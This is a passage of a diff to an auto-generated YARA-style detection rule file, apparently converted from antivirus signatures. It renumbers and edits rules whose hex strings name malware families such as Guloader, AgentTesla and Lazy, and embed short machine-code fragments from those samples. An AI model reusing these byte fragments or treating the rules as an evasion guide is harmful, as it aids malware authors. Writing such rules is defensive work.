((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12426{ +rule _InfrastructureShared_13240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -138459,7 +147670,7 @@ rule _InfrastructureShared_12426{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12427{ +rule _InfrastructureShared_13241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -138469,7 +147680,7 @@ rule _InfrastructureShared_12427{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12428{ +rule _InfrastructureShared_13242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -138479,7 +147690,7 @@ rule _InfrastructureShared_12428{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12429{ +rule _InfrastructureShared_13243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -138489,7 +147700,7 @@ rule _InfrastructureShared_12429{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12430{ +rule _InfrastructureShared_13244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -138499,7 +147710,7 @@ rule _InfrastructureShared_12430{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_12431{ +rule _InfrastructureShared_13245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -138509,7 +147720,7 @@ rule _InfrastructureShared_12431{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_12432{ +rule _InfrastructureShared_13246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -138519,7 +147730,7 @@ rule _InfrastructureShared_12432{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_12433{ +rule _InfrastructureShared_13247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -138529,7 +147740,7 @@ rule _InfrastructureShared_12433{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12434{ +rule _InfrastructureShared_13248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -138541,7 +147752,7 @@ rule _InfrastructureShared_12434{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28540+(#a_20_2 & 1)*0) >=1 } -rule _InfrastructureShared_12435{ +rule _InfrastructureShared_13249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -138555,7 +147766,7 @@ rule _InfrastructureShared_12435{ ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*787+(#a_90_2 & 1)*-3541+(#a_00_3 & 1)*97+(#a_00_5 & 1)*105) >=1 } -rule _InfrastructureShared_12436{ +rule _InfrastructureShared_13250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -138569,7 +147780,7 @@ rule _InfrastructureShared_12436{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*116+(#a_00_2 & 1)*20482+(#a_00_4 & 1)*105+(#a_72_5 & 1)*14918) >=1 } -rule _InfrastructureShared_12437{ +rule _InfrastructureShared_13251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -138583,7 +147794,7 @@ rule _InfrastructureShared_12437{ ((#a_54_0 & 1)*18467+(#a_c7_2 & 1)*-30463+(#a_00_4 & 1)*101+(#a_49_5 & 1)*10601+(#a_72_6 & 1)*30322) >=1 } -rule _InfrastructureShared_12438{ +rule _InfrastructureShared_13252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -138593,7 +147804,7 @@ rule _InfrastructureShared_12438{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_12439{ +rule _InfrastructureShared_13253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -138604,7 +147815,7 @@ rule _InfrastructureShared_12439{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*27684) >=2 } -rule _InfrastructureShared_12440{ +rule _InfrastructureShared_13254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -138614,7 +147825,7 @@ rule _InfrastructureShared_12440{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_12441{ +rule _InfrastructureShared_13255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -138626,7 +147837,7 @@ rule _InfrastructureShared_12441{ ((#a_46_0 & 1)*16675+(#a_88_1 & 1)*13321+(#a_c7_2 & 1)*51) >=2 } -rule _InfrastructureShared_12442{ +rule _InfrastructureShared_13256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -138639,7 +147850,7 @@ rule _InfrastructureShared_12442{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26707+(#a_6f_2 & 1)*30313+(#a_90_3 & 1)*-14580) >=2 } -rule _InfrastructureShared_12443{ +rule _InfrastructureShared_13257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -138653,7 +147864,7 @@ rule _InfrastructureShared_12443{ ((#a_5f_0 & 1)*25635+(#a_4d_1 & 1)*-4003+(#a_7d_2 & 1)*513+(#a_00_3 & 1)*66+(#a_00_5 & 1)*114) >=2 } -rule _InfrastructureShared_12444{ +rule _InfrastructureShared_13258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -138665,7 +147876,7 @@ rule _InfrastructureShared_12444{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*992+(#a_42_2 & 1)*19745) >=2 } -rule _InfrastructureShared_12445{ +rule _InfrastructureShared_13259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -138676,7 +147887,7 @@ rule _InfrastructureShared_12445{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=3 } -rule _InfrastructureShared_12446{ +rule _InfrastructureShared_13260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -138688,7 +147899,7 @@ rule _InfrastructureShared_12446{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-30200+(#a_ff_2 & 1)*106) >=3 } -rule _InfrastructureShared_12447{ +rule _InfrastructureShared_13261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -138700,7 +147911,7 @@ rule _InfrastructureShared_12447{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*20557+(#a_6c_2 & 1)*14930) >=3 } -rule _InfrastructureShared_12448{ +rule _InfrastructureShared_13262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -138712,7 +147923,7 @@ rule _InfrastructureShared_12448{ ((#a_46_0 & 1)*16675+(#a_85_1 & 1)*-1+(#a_00_2 & 1)*22551) >=3 } -rule _InfrastructureShared_12449{ +rule _InfrastructureShared_13263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -138724,7 +147935,7 @@ rule _InfrastructureShared_12449{ ((#a_54_0 & 1)*18467+(#a_fa_1 & 1)*-7648+(#a_00_2 & 1)*144) >=3 } -rule _InfrastructureShared_12450{ +rule _InfrastructureShared_13264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -138737,7 +147948,7 @@ rule _InfrastructureShared_12450{ ((#a_54_0 & 1)*18467+(#a_3d_1 & 1)*26719+(#a_4e_2 & 1)*13366+(#a_64_3 & 1)*27756) >=3 } -rule _InfrastructureShared_12451{ +rule _InfrastructureShared_13265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -138750,7 +147961,7 @@ rule _InfrastructureShared_12451{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*29813+(#a_69_2 & 1)*14930+(#a_72_3 & 1)*29295) >=4 } -rule _InfrastructureShared_12452{ +rule _InfrastructureShared_13266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -138763,20 +147974,47 @@ rule _InfrastructureShared_12452{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25962+(#a_61_2 & 1)*27765+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_12453{ +rule _InfrastructureShared_13267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 41 50 31 32 33 21 4d 54 42 00 01 00 26 81 01 62 72 61 6d 66 72 69 65 73 74 20 62 61 6c 66 61 6c 64 61 72 61 65 74 20 68 79 70 65 72 63 61 74 68 61 72 73 69 73 01 00 14 81 01 74 65 74 72 61 73 70 } //18467 - $a_63_1 = {63 6f 72 65 67 65 6e 74 01 00 17 81 01 65 6b 73 70 6f 73 65 65 74 73 20 6f 76 65 72 6b 6c 69 70 6e 69 6e 67 01 00 24 81 01 62 72 75 67 65 72 6f 72 64 62 6f 67 65 6e 73 20 6b 61 73 75 73 65 6e 64 65 6c 73 65 20 67 6f 75 72 61 6d 69 00 00 78 b3 00 00 04 00 04 00 06 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 } //29295 - $a_6e_2 = {32 2f 43 65 6e 74 69 6e 65 6c 2e 41 00 01 00 0c 01 43 65 6e 74 69 6e 65 6c 2e 79 6d 6c 01 00 0c 01 43 65 6e 74 69 6e 65 6c 2e 65 78 65 01 00 11 01 53 6f 66 74 77 61 72 65 5c 43 65 6e 74 69 6e 65 6c 01 00 12 01 55 6e 69 6e 73 74 61 6c 6c 5c 43 65 6e 74 69 6e 65 6c 01 00 14 01 48 75 6d 61 6e 6f 20 53 6f 66 74 77 61 } //22330 - $a_53_3 = {4c 2e 01 00 22 01 4d 6f 6e 69 74 6f 72 20 41 6c 65 72 74 61 20 54 65 6d 70 72 61 6e 61 20 43 72 } //25970 + $a_63_1 = {63 6f 72 65 67 65 6e 74 01 00 17 81 01 65 6b 73 70 6f 73 65 65 74 73 20 6f 76 65 72 6b 6c 69 70 6e 69 6e 67 01 00 24 81 01 62 72 75 67 65 72 6f 72 64 62 6f 67 65 6e 73 20 6b 61 73 75 73 65 6e 64 65 6c 73 65 20 67 6f 75 72 61 6d 69 00 00 78 b3 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 } //29295 + $a_53_2 = {61 6b 65 73 2e 4c 00 01 00 19 03 48 8b 55 f0 48 8b 45 f8 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 45 e8 90 00 01 00 29 03 48 89 54 24 28 48 8b 55 10 48 89 54 24 20 41 b9 90 01 04 41 b8 90 01 04 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 01 00 15 03 48 8b 45 f8 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff } //28265 condition: - ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29295+(#a_6e_2 & 1)*22330+(#a_53_3 & 1)*25970) >=4 + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29295+(#a_53_2 & 1)*28265) >=4 } -rule _InfrastructureShared_12454{ +rule _InfrastructureShared_13268{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 4c 00 01 00 19 03 48 8b 55 f0 48 8b 45 f8 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 45 e8 90 00 01 00 29 03 48 89 54 24 28 48 8b 55 10 48 89 54 24 20 41 b9 90 01 04 41 b8 } //21283 + $a_ba_1 = {01 04 48 89 } //400 + $a_05_2 = {90 01 04 ff d0 90 00 01 00 15 03 48 8b 45 f8 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 01 00 28 03 c7 44 24 28 90 01 04 c7 44 24 20 90 01 04 41 b9 90 01 04 4d 89 e0 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 90 00 00 00 78 b3 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 36 00 01 00 0c 80 01 53 68 69 } //18625 + $a_64_3 = {2e 65 78 65 01 00 08 80 01 53 68 69 6e 79 50 64 66 01 00 14 80 01 53 68 69 6e 79 50 64 66 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 23 80 01 2f 53 68 69 6e 79 50 64 66 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 65 78 69 74 77 69 6e 64 6f 77 2e 78 61 } //31086 + condition: + ((#a_46_0 & 1)*21283+(#a_ba_1 & 1)*400+(#a_05_2 & 1)*18625+(#a_64_3 & 1)*31086) >=4 + +} +rule _InfrastructureShared_13269{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 36 00 01 00 0c 80 01 53 68 69 6e 79 50 64 66 2e 65 78 65 01 00 08 80 01 53 68 69 6e 79 50 64 66 01 00 14 80 01 53 68 69 6e } //16675 + $a_66_1 = {67 2e 72 65 73 6f 75 72 63 65 73 01 00 23 80 01 2f 53 68 69 6e 79 50 64 66 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 65 78 69 74 77 69 6e 64 6f 77 2e 78 61 6d 6c 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 b3 00 00 04 00 04 00 06 00 21 23 41 6c } //20601 + $a_4c_2 = {73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 43 65 6e 74 69 6e 65 6c 2e 41 00 01 00 0c 01 43 65 6e 74 69 6e 65 6c 2e 79 6d 6c 01 00 0c 01 43 65 6e 74 69 6e 65 6c 2e 65 78 65 01 00 11 01 53 6f 66 74 77 61 72 65 5c 43 65 6e 74 69 6e 65 6c 01 00 12 01 55 6e 69 6e 73 74 61 6c 6c 5c 43 65 6e 74 69 6e 65 6c 01 00 14 01 48 75 6d 61 6e 6f 20 53 6f 66 74 77 61 72 65 } //28524 + $a_4c_3 = {01 00 22 01 4d 6f 6e 69 74 6f 72 20 41 6c 65 72 74 61 20 54 65 6d 70 72 61 6e 61 20 43 72 79 70 74 6f 77 61 6c 6c 00 00 78 b3 00 00 04 00 } //21280 + $a_00_4 = {21 23 48 53 54 52 } //4 !#HSTR + $a_6d_5 = {72 75 65 5f 44 6c 6c 5f 4c 6f 61 64 65 72 00 02 00 0a 01 eb 03 fe 0e 46 80 3e 00 75 f8 02 00 3b 01 64 65 73 6b 74 6f 70 2e 69 6e 69 00 64 70 6d 6d 42 6d 62 76 75 73 6a 57 7d 66 6d 6a 47 65 62 66 53 7d 66 6d 6a 47 66 75 62 66 73 44 7d 58 66 75 76 64 66 79 46 6d 6d 66 69 54 00 01 00 0e 01 7c } //18234 + condition: + ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*20601+(#a_4c_2 & 1)*28524+(#a_4c_3 & 1)*21280+(#a_00_4 & 1)*4+(#a_6d_5 & 1)*18234) >=4 + +} +rule _InfrastructureShared_13270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -138785,13 +148023,13 @@ rule _InfrastructureShared_12454{ $a_6e_1 = {20 53 6f 66 74 77 61 72 65 20 53 2e 4c 2e 01 00 22 01 4d 6f 6e 69 74 6f 72 20 41 6c 65 72 74 61 20 54 65 6d 70 72 61 6e 61 20 43 72 79 70 74 6f 77 61 6c 6c 00 00 78 b3 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 47 61 6d 61 72 75 65 5f 44 6c 6c 5f 4c 6f 61 64 65 72 00 02 00 0a 01 eb 03 fe } //28021 $a_3e_2 = {75 f8 02 00 3b 01 64 65 73 6b 74 6f 70 2e 69 6e 69 00 64 70 6d 6d 42 6d 62 76 75 73 6a 57 7d 66 6d 6a 47 65 62 66 53 7d 66 6d 6a 47 66 75 62 66 73 44 7d 58 66 75 76 64 66 79 46 6d 6d 66 69 54 00 01 00 0e 01 7c 56 69 72 74 75 61 6c 41 6c 6c 6f 63 7c 01 00 0d 01 7c 43 72 65 61 74 65 46 69 6c 65 41 7c 01 00 0f 01 7c 53 68 65 6c 6c 45 78 65 63 75 74 65 57 7c 01 00 0a 01 7c 52 65 61 64 } //17934 $a_65_3 = {00 00 78 b3 00 00 05 00 05 00 02 00 21 23 4c 6f 77 66 69 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 72 74 6f 6f 6c 21 64 68 61 00 01 00 32 01 8a 50 fd 80 fa 2d 75 27 8a 48 fe 80 f9 68 74 1a 80 f9 6d 74 10 80 f9 70 0f 85 2d 03 00 00 89 07 83 c7 04 eb 0a 89 45 f8 eb 05 89 06 83 c6 04 40 84 d2 01 00 4d 01 8b 14 ce 39 } //26950 - $a_fc_4 = {ff 74 05 40 3b c7 72 f2 3b c7 75 1c 83 ff 40 73 17 8b 14 ce 89 94 85 ec fc ff ff 8b bd e8 fc ff ff 47 89 bd e8 fc ff ff 8b 04 ce 3b 45 fc 76 03 89 45 fc 33 c0 66 89 44 ce 06 41 3b 4d 0c 0f 8c 03 ff ff ff 00 00 02 00 78 b3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 32 34 39 21 4d 54 42 00 01 00 26 81 01 4d 61 68 6a 6f 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 25 81 01 24 33 33 64 61 38 34 30 61 2d 37 31 33 33 2d 34 66 35 61 2d } //-31340 - $a_39_5 = {63 30 62 35 62 35 39 32 38 38 36 37 00 00 78 b3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 52 31 32 } //14137 + $a_fc_4 = {ff 74 05 40 3b c7 72 f2 3b c7 75 1c 83 ff 40 73 17 8b 14 ce 89 94 85 ec fc ff ff 8b bd e8 fc ff ff 47 89 bd e8 fc ff ff 8b 04 ce 3b 45 fc 76 03 89 45 fc 33 c0 66 89 44 ce 06 41 3b 4d 0c 0f 8c 03 ff ff ff 00 00 02 00 78 b3 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 48 45 21 4d 54 42 00 03 00 39 03 8b 0d 47 af 08 00 8d 51 ff 0f af d1 f6 c2 01 0f 94 84 24 f8 00 00 00 8b 15 90 01 04 b9 5d 48 94 1c bb 0a 04 ac 09 0f 44 cb 83 fa 0a 0f 9c 84 24 00 01 00 00 0f 4c cb 90 00 02 00 4a 03 48 8b 8c 24 00 01 00 00 c6 01 00 48 8b 8c 24 00 01 00 00 48 83 c1 01 48 89 8c 24 f8 00 00 00 48 8b 8c 24 f0 00 00 00 48 8b 94 24 f8 00 00 00 48 39 ca 0f 94 84 24 e8 00 00 } //-31340 + $a_90_5 = {04 8d 51 ff 0f af d1 f6 c2 01 90 00 00 } //-29952 condition: - ((#a_6c_0 & 1)*16675+(#a_6e_1 & 1)*28021+(#a_3e_2 & 1)*17934+(#a_65_3 & 1)*26950+(#a_fc_4 & 1)*-31340+(#a_39_5 & 1)*14137) >=4 + ((#a_6c_0 & 1)*16675+(#a_6e_1 & 1)*28021+(#a_3e_2 & 1)*17934+(#a_65_3 & 1)*26950+(#a_fc_4 & 1)*-31340+(#a_90_5 & 1)*-29952) >=4 } -rule _InfrastructureShared_12455{ +rule _InfrastructureShared_13271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -138799,14 +148037,13 @@ rule _InfrastructureShared_12455{ $a_54_0 = {3a 47 61 6d 61 72 75 65 5f 44 6c 6c 5f 4c 6f 61 64 65 72 00 02 00 0a 01 eb 03 fe 0e 46 80 3e 00 75 f8 02 00 3b 01 64 65 73 6b 74 6f 70 2e 69 6e 69 00 64 70 6d 6d 42 6d 62 76 75 73 6a 57 7d 66 6d 6a 47 65 62 66 53 7d 66 6d 6a 47 66 75 62 66 73 44 7d } //18467 $a_76_1 = {66 79 46 6d 6d 66 69 54 00 01 00 0e 01 7c 56 69 72 74 75 61 6c 41 6c 6c 6f 63 7c 01 00 0d 01 7c 43 72 65 61 74 65 46 69 6c 65 41 7c 01 00 0f 01 7c 53 68 65 6c 6c 45 78 65 63 75 74 65 57 7c 01 00 0a 01 7c 52 65 61 64 46 69 6c 65 7c 00 00 78 b3 00 00 05 00 05 00 02 00 21 23 4c 6f 77 66 69 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 72 74 6f 6f } //26200 $a_68_2 = {00 01 00 32 01 8a 50 fd 80 fa 2d 75 27 8a 48 fe 80 f9 68 74 1a 80 f9 6d 74 10 80 f9 70 0f 85 2d 03 00 00 89 07 83 c7 04 eb 0a 89 45 f8 eb 05 89 06 83 c6 04 40 84 d2 01 00 4d 01 8b 14 ce 39 94 85 ec fc ff ff 74 05 40 3b c7 72 f2 3b c7 75 1c 83 ff 40 73 17 8b 14 ce 89 94 85 ec fc ff ff 8b bd e8 fc ff } //8556 - $a_bd_3 = {fc ff ff 8b 04 ce 3b 45 fc 76 03 89 45 fc 33 c0 66 89 44 ce 06 41 3b 4d 0c 0f 8c 03 ff ff ff 00 00 02 00 78 b3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 32 34 39 21 4d 54 42 00 01 00 26 81 01 4d 61 68 6a 6f 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0e 81 01 43 72 } //18431 - $a_65_4 = {6e 73 74 61 6e 63 65 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 25 81 01 24 33 33 64 61 38 34 30 61 2d 37 31 33 33 2d 34 66 35 61 2d 39 37 34 39 2d 63 30 62 35 62 35 39 32 38 38 36 37 00 00 78 b3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 52 31 32 33 21 } //24933 - $a_00_5 = {01 00 1c 81 01 6d 6f 76 69 65 20 66 6a 61 73 65 72 69 65 72 6e 65 73 20 6c 75 73 6b 65 72 69 65 74 01 00 0b 81 01 6e 6f 6e 64 6f 6d 65 73 74 69 63 01 00 26 81 01 72 65 67 61 72 61 6e 74 69 65 72 20 } //21581 + $a_bd_3 = {fc ff ff 8b 04 ce 3b 45 fc 76 03 89 45 fc 33 c0 66 89 44 ce 06 41 3b 4d 0c 0f 8c 03 ff ff ff 00 00 02 00 78 b3 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 48 45 21 4d 54 42 00 03 00 39 03 8b 0d 47 af 08 00 8d 51 ff 0f af d1 f6 c2 01 0f 94 84 24 f8 00 00 00 8b 15 90 01 04 b9 5d 48 94 1c bb 0a 04 ac 09 0f 44 cb 83 fa 0a 0f 9c 84 24 00 01 00 00 0f 4c cb 90 } //18431 + $a_24_5 = {01 00 00 c6 01 00 48 8b 8c 24 00 01 00 00 48 83 c1 01 48 89 8c 24 f8 00 00 00 48 8b 8c 24 f0 00 00 00 48 8b 94 24 f8 00 00 00 48 39 ca 0f 94 84 24 e8 00 00 00 8b 0d 90 01 04 8d 51 ff 0f af d1 f6 c2 01 90 00 00 00 78 b3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 32 34 39 21 4d 54 42 00 01 00 26 81 01 4d 61 68 6a 6f 6e 67 2e 50 72 6f 70 } //-29880 condition: - ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*26200+(#a_68_2 & 1)*8556+(#a_bd_3 & 1)*18431+(#a_65_4 & 1)*24933+(#a_00_5 & 1)*21581) >=4 + ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*26200+(#a_68_2 & 1)*8556+(#a_bd_3 & 1)*18431+(#a_24_5 & 1)*-29880) >=4 } -rule _InfrastructureShared_12456{ +rule _InfrastructureShared_13272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -138817,7 +148054,18 @@ rule _InfrastructureShared_12456{ ((#a_77_0 & 1)*19491+(#a_ce_1 & 1)*-29929) >=5 } -rule _InfrastructureShared_12457{ +rule _InfrastructureShared_13273{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 48 45 21 4d 54 42 00 03 00 39 03 8b 0d 47 af 08 00 8d 51 ff 0f af d1 f6 c2 01 0f 94 84 24 f8 00 00 00 8b 15 90 01 04 b9 5d 48 94 1c bb 0a 04 ac 09 0f } //21539 + $a_fa_1 = {0f 9c 84 24 00 01 00 00 0f 4c cb 90 00 02 00 4a 03 48 8b 8c 24 00 01 00 00 c6 01 00 48 8b 8c 24 00 01 00 00 48 83 c1 01 48 89 8c 24 f8 00 00 00 48 8b 8c 24 f0 00 00 00 48 8b 94 24 f8 00 00 00 48 39 ca 0f 94 84 24 e8 00 00 00 8b 0d 90 01 04 8d 51 ff 0f af d1 f6 c2 01 90 00 00 00 78 b3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c } //-13500 + condition: + ((#a_4c_0 & 1)*21539+(#a_fa_1 & 1)*-13500) >=5 + +} +rule _InfrastructureShared_13274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138831,7 +148079,7 @@ rule _InfrastructureShared_12457{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*17153+(#a_33_2 & 1)*12626+(#a_01_3 & 1)*26996+(#a_53_4 & 1)*8993) >=5 } -rule _InfrastructureShared_12458{ +rule _InfrastructureShared_13275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138844,7 +148092,7 @@ rule _InfrastructureShared_12458{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26469+(#a_32_2 & 1)*28265+(#a_73_3 & 1)*29285) >=5 } -rule _InfrastructureShared_12459{ +rule _InfrastructureShared_13276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138858,7 +148106,7 @@ rule _InfrastructureShared_12459{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29813+(#a_65_2 & 1)*24943+(#a_73_3 & 1)*25963+(#a_66_4 & 1)*25966) >=5 } -rule _InfrastructureShared_12460{ +rule _InfrastructureShared_13277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138872,7 +148120,7 @@ rule _InfrastructureShared_12460{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28265+(#a_61_2 & 1)*27765+(#a_65_3 & 1)*28261+(#a_6c_4 & 1)*26979) >=5 } -rule _InfrastructureShared_12461{ +rule _InfrastructureShared_13278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -138886,7 +148134,7 @@ rule _InfrastructureShared_12461{ ((#a_54_0 & 